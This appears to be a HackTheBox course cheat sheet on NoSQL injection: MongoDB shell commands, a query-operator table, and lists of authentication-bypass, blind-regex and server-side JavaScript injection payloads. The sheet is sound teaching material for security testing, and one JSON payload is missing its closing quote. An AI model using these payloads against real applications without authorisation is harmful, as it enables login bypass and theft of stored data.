HACKTHEBOX

INTRODUCTION TO NOSQL INJECTION

CHEAT SHEET

MongoDB Usage

- Connect to MongoDB: `mongosh mongodb://127.0.0.1:27017`
- List databases: `show databases`
- List collections: `show collections`
- Insert data: `db.collection.insertOne({...})`
- Insert lots of data: `db.apples.insertMany([{...},{...},...])`
- Selecting data: `db.collection.find({...})`
- Selecting one piece of data: `db.collection.findOne({...})`
- Update (one) document: `db.collection.updateOne({...}, {...})`
- Update multiple documents: `db.collection.updateMany({...}, {...})`
- Delete document(s): `db.apples.remove({...})`

Query Operators

Type	Operator	Description	Example
Comparison	`$eq`	Matches values which are `equal to` a specified value	`type: {$eq: "Pink Lady"}`
Comparison	`$gt`	Matches values which are `greater than` a specified value	`price: {$gt: 0.30}`
Comparison	`$gte`	Matches values which are `greater than or equal to` a specified value	`price: {$gte: 0.50}`
Comparison	`$in`	Matches values which exist `in the specified array`	`type: {$in: ["Granny Smith", "Pink Lady"]}`

Type	Operator	Description	Example
Comparison	`$lt`	Matches values which are **less than** a specified value	`price: {$lt: 0.60}`
Comparison	`$lte`	Matches values which are **less than or equal to** a specified value	`price: {$lte: 0.75}`
Comparison	`$nin`	Matches values which are **not in the specified array**	`type: {$nin: ["Golden Delicious", "Granny Smith"]}`
Logical	`$and`	Matches documents which **meet the conditions of both** specified queries	`$and: [{type: 'Granny Smith'}, {price: 0.65}]`
Logical	`$not`	Matches documents which **do not meet the conditions** of a specified query	`type: {$not: {$eq: "Granny Smith"}}`
Logical	`$nor`	Matches documents which **do not meet the conditions** of any of the specified queries	`$nor: [{type: 'Granny Smith'}, {price: 0.79}]`
Logical	`$or`	Matches documents which **meet the conditions of one** of the specified queries	`$or: [{type: 'Granny Smith'}, {price: 0.79}]`
Evaluation	`$mod`	Matches values which divided by a **specific divisor** have the **specified remainder**	`price: {$mod: [4, 0]}`
Evaluation	`$regex`	Matches values which **match a specified RegEx**	`type: {$regex: /^G.*/}`
Evaluation	`$where`	Matches documents which **satisfy a JavaScript expression**	`$where: 'this.type.length === 9'`

Authentication Bypass / Data Exfiltration Payloads:

URL-Encoded

- `param[$ne]=x`

- `param[$gt]=`
- `param[$gte]=`
- `param[$lt]=~`
- `param[$lte]=~`
- `param[$regex]=.*`

JSON

- `{param: {$ne: 'x'}}`
- `{param: {$gt: ''}}`
- `{param: {$gte: ''}}`
- `{param: {$lt: '~'}}`
- `{param: {$lte: '~'}}`
- `{param: {$regex: '.*'}}`
- `{param: {$nin: []}}`

Blind NoSQLi Payloads:

URL-Encoded

- `param[$regex]=^XYZ.*$`

JSON

- `{param: {$regex: '^XYZ.*$}}`

Server-Side JavaScript Injection Payloads:

- `' || true || ''=='`
- `" || true || ""=="`

This cheat sheet contains a (non-comprehensive) list of payloads you may use when testing an application for NoSQL injection vulnerabilities. The most important qualities for finding vulnerabilities are creativity and the ability to adapt, so it is possible that these payloads will not work in your specific scenario, but something else does.

Some other resources you may want to refer to may be:

- PayloadAllTheThings - NoSQL Injection
- HackTricks - NoSQL Injection
- NullSweep - NoSQL Injection Cheatsheet